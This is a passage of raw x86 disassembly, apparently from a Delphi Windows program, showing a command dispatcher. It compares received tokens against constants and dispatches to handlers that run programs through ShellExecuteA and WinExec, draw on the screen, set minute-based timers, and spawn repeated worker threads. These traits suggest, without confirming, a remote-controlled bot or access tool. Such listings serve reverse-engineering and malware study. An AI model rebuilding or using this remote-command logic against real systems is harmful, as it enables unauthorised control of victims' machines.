mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8700]
mov edx, 0x496810
call fcn.00404efc
jne 0x494f72
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49eef8]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967e8
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494da1
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49ed98]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967ec
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494d75
xor eax, eax
push ebp
push 0x494d6b
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8708]
mov edx, dword [0x49eb50]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8708]
call fcn.004092f8
lea edx, [ebp - 0x8704]
call fcn.0045ad14
lea eax, [ebp - 0x8704]
mov edx, 0x4967f8
call fcn.00404dc0
mov edx, dword [ebp - 0x8704]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494d75
xor eax, eax
push ebp
push 0x494d97
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a5d34]
call fcn.00403d10
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494da1
xor eax, eax
push ebp
push 0x494e1d
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8710]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8710]
call fcn.004092f8
lea edx, [ebp - 0x870c]
call fcn.0045ad14
lea eax, [ebp - 0x870c]
push eax
lea eax, [ebp - 0x8714]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov edx, dword [ebp - 0x8714]
pop eax
call fcn.00404dc0
mov eax, dword [ebp - 0x870c]
xor edx, edx
call fcn.0040967c
mov eax, dword [ebp - 4]
call fcn.00499048
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494e27
xor eax, eax
push ebp
push 0x494ecb
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49ed74]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967ec
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494e7d
lea eax, [ebp - 0x8718]
mov edx, dword [0x49e888]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8718]
call fcn.0045b3dc
lea eax, [ebp - 0x8720]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8720]
call fcn.004092f8
lea edx, [ebp - 0x871c]
call fcn.0045ad14
lea eax, [ebp - 0x871c]
mov edx, 0x49681c
call fcn.00404dc0
mov eax, dword [ebp - 0x871c]
call fcn.00409798
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494ed5
lea eax, [ebp - 0x86f4]
mov edx, dword [0x49eef8]
mov edx, dword [edx]
call fcn.00403814
lea eax, [ebp - 0x86f4]
mov edx, 0x4967ec
xor ecx, ecx
mov cl, byte [eax]
inc ecx
call fcn.004031cc
jne 0x494f04
call fcn.0045a308
lea eax, [ebp - 0x8728]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8728]
call fcn.004092f8
lea edx, [ebp - 0x8724]
call fcn.0045ad14
lea eax, [ebp - 0x8724]
push eax
lea eax, [ebp - 0x872c]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov edx, dword [ebp - 0x872c]
pop eax
call fcn.00404dc0
mov eax, dword [ebp - 0x8724]
call fcn.00409798
xor eax, eax
call fcn.00404a64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8730]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8730]
mov edx, 0x496830
call fcn.00404efc
jne 0x494ff8
xor eax, eax
push ebp
push 0x494fee
push dword fs:[eax]
mov dword fs:[eax], esp
push 5
push 0
lea ecx, [ebp - 0x8734]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8734]
call fcn.00404fb0
push eax
push 0x496834
push 0x496840
mov eax, dword [ebp - 4]
call fcn.0043b984
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x494ff8
lea ecx, [ebp - 0x8738]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8738]
mov edx, 0x496850
call fcn.00404efc
jne 0x49507e
xor eax, eax
push ebp
push 0x495074
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0
lea ecx, [ebp - 0x873c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x873c]
call fcn.00404fb0
push eax
push 0x496834
push 0x496840
mov eax, dword [ebp - 4]
call fcn.0043b984
push eax
call sub.shell32.dll_ShellExecuteA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49507e
lea ecx, [ebp - 0x8740]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8740]
mov edx, 0x49685c
call fcn.00404efc
jne 0x4950ee
xor edx, edx
push ebp
push 0x4950e4
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8744]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8744]
mov dl, 1
mov eax, dword [0x48aed4]
call fcn.0048af5c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4950ee
lea ecx, [ebp - 0x8748]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8748]
mov edx, 0x496868
call fcn.00404efc
jne 0x4951d9
xor eax, eax
push ebp
push 0x4951c2
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x4a5d34]
call fcn.00403d10
push 1
lea eax, [ebp - 0x8750]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8750]
call fcn.004092f8
lea edx, [ebp - 0x874c]
call fcn.0045ad14
lea eax, [ebp - 0x874c]
push eax
lea eax, [ebp - 0x8754]
mov edx, dword [0x49ede0]
mov edx, dword [edx]
call fcn.00404cf0
mov edx, dword [ebp - 0x8754]
pop eax
call fcn.00404dc0
mov eax, dword [ebp - 0x874c]
call fcn.00404fb0
push eax
call sub.kernel32.dll_WinExec
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.0042dfe8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov edx, dword [eax]
call dword [edx + 0x58]
xor eax, eax
call fcn.00404a64
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4951cc
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8758]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8758]
mov edx, 0x496874
call fcn.00404efc
jne 0x4952cd
xor eax, eax
push ebp
push 0x4952b6
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x8760]
mov edx, dword [0x49ea3c]
mov edx, dword [edx]
call fcn.00404cf0
mov eax, dword [ebp - 0x8760]
call fcn.004092f8
lea edx, [ebp - 0x875c]
call fcn.0045ad14
lea eax, [ebp - 0x875c]
mov edx, 0x49681c
call fcn.00404dc0
mov edx, dword [ebp - 0x875c]
lea eax, [ebp - 0x8358]
call fcn.00402ef4
lea eax, [ebp - 0x8358]
call fcn.00402c90
call fcn.004028ac
lea ecx, [ebp - 0x8764]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8764]
lea eax, [ebp - 0x8358]
call fcn.004051cc
call fcn.004037cc
call fcn.004028ac
lea eax, [ebp - 0x8358]
call fcn.00403098
call fcn.004028ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4952c0
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8768]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8768]
mov edx, 0x496880
call fcn.00404efc
jne 0x49542a
xor eax, eax
push ebp
push 0x49533f
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0048fa84
lea edx, [ebp - 0x30]
mov ecx, dword [eax]
call dword [ecx + 0x1c]
cmp dword [ebp - 0x30], 0
jne 0x495328
lea eax, [ebp - 0x30]
mov edx, 0x49688c
call fcn.00404b98
jmp 0x495335
lea eax, [ebp - 0x30]
mov edx, 0x49689c
call fcn.00404b98
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495349
xor eax, eax
push ebp
push 0x495413
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8770]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8770]
lea edx, [ebp - 0x876c]
call fcn.00408ee0
mov eax, dword [ebp - 0x876c]
push eax
lea edx, [ebp - 0x8774]
mov eax, dword [ebp - 0x30]
call fcn.00408ee0
mov edx, dword [ebp - 0x8774]
pop eax
call fcn.004050f4
test eax, eax
jle 0x495409
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov edx, 0x4968ac
mov ecx, dword [eax]
call dword [ecx + 0x78]
push 0x4968bc
lea edx, [ebp - 0x8778]
mov eax, dword [0x4a59e0]
call fcn.00409218
push dword [ebp - 0x8778]
push 0x4968cc
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00404e78
mov ecx, 0x496154
lea eax, [ebp - 0x877c]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x877c]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49541d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8780]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8780]
mov edx, 0x4968dc
call fcn.00404efc
jne 0x4954f9
xor eax, eax
push ebp
push 0x4954b5
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x4968e8
lea edx, [ebp - 0x8784]
mov eax, 1
call fcn.0048f568
push dword [ebp - 0x8784]
push 0x496154
push 0x4968f4
lea edx, [ebp - 0x8788]
mov eax, 2
call fcn.0048f568
push dword [ebp - 0x8788]
lea eax, [ebp - 0x38]
mov edx, 5
call fcn.00404e78
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4954bf
cmp dword [ebp - 0x38], 0
jne 0x4954d2
lea eax, [ebp - 0x38]
mov edx, 0x4967d8
call fcn.00404b98
mov eax, dword [ebp - 0x38]
push eax
mov eax, dword [ebp - 4]
mov edx, dword [eax + 0x2f4]
mov ecx, 0x4962f0
mov eax, dword [ebp - 4]
call fcn.00490c60
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x878c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x878c]
mov edx, 0x496900
call fcn.00404efc
jne 0x49557e
xor eax, eax
push ebp
push 0x49555d
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8790]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8790]
call fcn.004092f8
mov dword [0x4a5d4c], eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495571
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8794]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8794]
mov edx, 0x49690c
call fcn.00404efc
jne 0x4955e7
xor eax, eax
push ebp
push 0x4955d0
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [0x4a5d48], 0
je 0x4955c6
mov eax, dword [0x4a5d3c]
call fcn.0041e7ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4955da
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8798]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8798]
mov edx, 0x496918
call fcn.00404efc
jne 0x49576a
xor eax, eax
push ebp
push 0x495753
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
xor edx, edx
call fcn.0042dfe8
lea ecx, [ebp - 0x879c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x879c]
mov eax, dword [0x49e9d0]
call fcn.00404b54
lea ecx, [ebp - 0x87a0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87a0]
call fcn.004092f8
mov edx, dword [0x49ebf8]
mov dword [edx], eax
lea ecx, [ebp - 0x87a4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87a4]
call fcn.004092f8
mov edx, dword [0x49eb04]
mov dword [edx], eax
lea ecx, [ebp - 0x87a8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87a8]
call fcn.004092f8
mov edx, dword [0x49e8bc]
mov dword [edx], eax
lea ecx, [ebp - 0x87ac]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87ac]
call fcn.004092f8
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
call fcn.0042dff8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
mov dl, 1
call fcn.0042dfe8
lea ecx, [ebp - 0x87b0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87b0]
call fcn.004092f8
mov ebx, eax
test ebx, ebx
jl 0x495749
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48cc74]
call fcn.0041e440
dec ebx
jne 0x495738
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49575d
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x87b4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87b4]
mov edx, 0x496924
call fcn.00404efc
jne 0x49589b
xor eax, eax
push ebp
push 0x495884
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
xor edx, edx
call fcn.0042dfe8
lea ecx, [ebp - 0x87b8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x87b8]
mov eax, dword [0x49ebb0]
call fcn.00404b54
lea ecx, [ebp - 0x87bc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87bc]
call fcn.004092f8
mov edx, dword [0x49e9bc]
mov dword [edx], eax
lea ecx, [ebp - 0x87c0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87c0]
call fcn.004092f8
mov edx, dword [0x49eebc]
mov dword [edx], eax
lea ecx, [ebp - 0x87c4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87c4]
call fcn.004092f8
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
call fcn.0042dff8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
mov dl, 1
call fcn.0042dfe8
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48ccd4]
call fcn.0041e440
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x49588e
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x87c8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87c8]
mov edx, 0x496930
call fcn.00404efc
jne 0x495a1e
xor eax, eax
push ebp
push 0x495a07
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
xor edx, edx
call fcn.0042dfe8
lea ecx, [ebp - 0x87cc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x87cc]
mov eax, dword [0x49ee00]
call fcn.00404b54
lea ecx, [ebp - 0x87d0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87d0]
call fcn.004092f8
mov edx, dword [0x49ec4c]
mov dword [edx], eax
lea ecx, [ebp - 0x87d4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87d4]
call fcn.004092f8
mov edx, dword [0x49eb70]
mov dword [edx], eax
lea ecx, [ebp - 0x87d8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87d8]
call fcn.004092f8
mov edx, dword [0x49e93c]
mov dword [edx], eax
lea ecx, [ebp - 0x87dc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87dc]
call fcn.004092f8
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
call fcn.0042dff8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
mov dl, 1
call fcn.0042dfe8
lea ecx, [ebp - 0x87e0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87e0]
call fcn.004092f8
mov ebx, eax
test ebx, ebx
jl 0x4959fd
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48cd34]
call fcn.0041e440
dec ebx
jne 0x4959ec
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495a11
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x87e4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87e4]
mov edx, 0x49693c
call fcn.00404efc
jne 0x495b9e
xor eax, eax
push ebp
push 0x495b87
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
xor edx, edx
call fcn.0042dfe8
lea ecx, [ebp - 0x87e8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x87e8]
mov eax, dword [0x49e930]
call fcn.00404b54
lea ecx, [ebp - 0x87ec]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87ec]
call fcn.004092f8
mov edx, dword [0x49eddc]
mov dword [edx], eax
lea ecx, [ebp - 0x87f0]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x87f0]
mov eax, dword [0x49e9d8]
call fcn.00404b54
lea ecx, [ebp - 0x87f4]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87f4]
call fcn.004092f8
mov edx, dword [0x49ec40]
mov dword [edx], eax
lea ecx, [ebp - 0x87f8]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87f8]
call fcn.004092f8
imul edx, eax, 0xea60
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
call fcn.0042dff8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x304]
mov dl, 1
call fcn.0042dfe8
lea ecx, [ebp - 0x87fc]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x87fc]
call fcn.004092f8
mov ebx, eax
test ebx, ebx
jl 0x495b7d
inc ebx
xor ecx, ecx
mov dl, 1
mov eax, dword [0x48cd94]
call fcn.0041e440
dec ebx
jne 0x495b6c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495b91
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8800]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8800]
mov edx, 0x496948
call fcn.00404efc
jne 0x495c7d
xor edx, edx
push ebp
push 0x495c66
push dword fs:[edx]
mov dword fs:[edx], esp
lea ecx, [ebp - 0x8804]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8804]
push eax
lea ecx, [ebp - 0x8808]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8808]
call fcn.004092f8
push eax
lea ecx, [ebp - 0x880c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x880c]
call fcn.004092f8
push eax
lea ecx, [ebp - 0x8810]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x8810]
mov dl, 1
mov eax, dword [0x48b28c]
call fcn.0048b30c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495c70
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x496094
lea ecx, [ebp - 0x8814]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8814]
mov edx, 0x496954
call fcn.00404efc
jne 0x495e1a
xor eax, eax
push ebp
push 0x495e03
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x495df2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x420c24]
call fcn.00422aa8
mov dword [ebp - 0x40], eax
push 0
call sub.user32.dll_GetDC
mov edx, eax
mov eax, dword [ebp - 0x40]
call fcn.00423164
push 1
mov eax, dword [ebp - 0x40]
call fcn.004230e4
push eax
call sub.gdi32.dll_SetBkMode
lea ecx, [ebp - 0x8818]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 3
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0x8818]
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0xc]
call fcn.004223b4
lea ecx, [ebp - 0x881c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 4
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x881c]
call fcn.004092f8
mov edx, eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0xc]
call fcn.0042242c
lea ecx, [ebp - 0x8820]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 5
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8820]
call fcn.004092f8
mov edx, eax
mov eax, dword [ebp - 0x40]
mov eax, dword [eax + 0xc]
call fcn.0042218c
lea ecx, [ebp - 0x8824]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8824]
push eax
lea ecx, [ebp - 0x8828]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 7
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8828]
call fcn.004092f8
push eax
lea ecx, [ebp - 0x882c]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 6
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x882c]
call fcn.004092f8
mov edx, eax
mov eax, dword [ebp - 0x40]
pop ecx
call fcn.00422e74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495df9
mov eax, dword [ebp - 0x40]
call fcn.00403d10
ret
lea ecx, [ebp - 0x8830]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 1
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8830]
mov edx, 0x496960
call fcn.00404efc
jne 0x495f37
xor eax, eax
push ebp
push 0x495f20
push dword fs:[eax]
mov dword fs:[eax], esp
lea ecx, [ebp - 0x8838]
mov eax, dword [ebp - 8]
mov eax, dword [eax]
mov edx, 2
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0x8838]
lea edx, [ebp - 0x8834]
call fcn.00408ee0
mov eax, dword [ebp - 0x8834]
push eax
lea edx, [ebp - 0x8840]
mov eax, dword [ebp - 4]
call fcn.0048f2e4
mov eax, dword [ebp - 0x8840]
lea edx, [ebp - 0x883c]
call fcn.00408ee0
mov edx, dword [ebp - 0x883c]
pop eax
call fcn.004050f4
test eax, eax
jle 0x495f16
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov edx, 0x4968ac
mov ecx, dword [eax]
call dword [ecx + 0x78]
push 0x4968bc
lea edx, [ebp - 0x8844]
mov eax, dword [0x4a59e0]
call fcn.00409218
push dword [ebp - 0x8844]
push 0x4968cc
lea eax, [ebp - 0x38]
mov edx, 3
call fcn.00404e78
mov ecx, 0x496154
lea eax, [ebp - 0x8848]
mov edx, dword [ebp - 0x38]
call fcn.00404e04
mov edx, dword [ebp - 0x8848]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x2f8]
mov ecx, dword [eax]
call dword [ecx + 0x78]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495f2a
